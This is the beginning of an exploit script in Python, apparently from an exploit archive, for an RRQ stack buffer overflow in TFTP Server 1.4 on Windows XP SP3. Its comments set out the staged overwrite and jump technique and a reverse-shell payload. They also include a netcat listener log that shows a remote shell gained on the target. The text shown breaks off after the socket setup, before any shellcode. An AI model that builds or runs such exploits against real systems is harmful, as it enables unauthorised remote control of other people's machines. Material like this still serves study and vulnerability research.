TFTP Server 1.4 - ST (RRQ) Buffer Overflow Exploit
#!/usr/bin/python
#---------------------------------------------------------------------------#
# Exploit: TFTP SERVER V1.4 ST (RRQ Overflow) #
# OS: Windows XP PRO SP3 #
# Author: b33f #
#---------------------------------------------------------------------------#
# Smashing the stack for fun and practise... #
# #
# This tftp service have been pwned extensively: #
# (1) Muts ==> WRQ Overflow #
# http://www.exploit-db.com/exploits/5314/ #
# (2) Molotov ==> WRQ Overflow #
# http://www.exploit-db.com/exploits/10542/ #
# (3) tixxDZ ==> ERROR Overflow #
# http://www.exploit-db.com/exploits/5563/ #
# #
#---------------------------------------------------------------------------#
# After some simple fuzzing with spike I discovered that sending a Read #
# Request (RRQ) packet can also trigger a buffer overflow... #
#---------------------------------------------------------------------------#
# It might take up to 30 seconds for some reason but the shell does appear #
# as expected.... #
# #
# root@bt:~# nc -lvp 9988 #
# listening on [any] 9988 ... #
# 192.168.111.128: inverse host lookup failed: Unknown server error #
# connect to [192.168.111.132] from (UNKNOWN) [192.168.111.128] 1072 #
# Microsoft Windows XP [Version 5.1.2600] #
# (C) Copyright 1985-2001 Microsoft Corp. #
# #
# C:\Program Files\TFTPServer> #
#---------------------------------------------------------------------------#
import socket
import sys
host = '192.168.111.128'
port = 69
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
#---------------------------------------------------------------------------#
# (1) Stage1: 0x00409605 TFTPServer.exe - PPR #
# => 3-byte overwrite using the mandatory protocol null-byte. #
# (2) Stage2: jump back 5-bytes "\xEB\xF9" so we have room for a far jump. #
# (3) Stage3: jump back 1490-bytes to the beginning of our buffer. #
# (4) Stage4: reverse shell port 9988 - size 341 #
#---------------------------------------------------------------------------#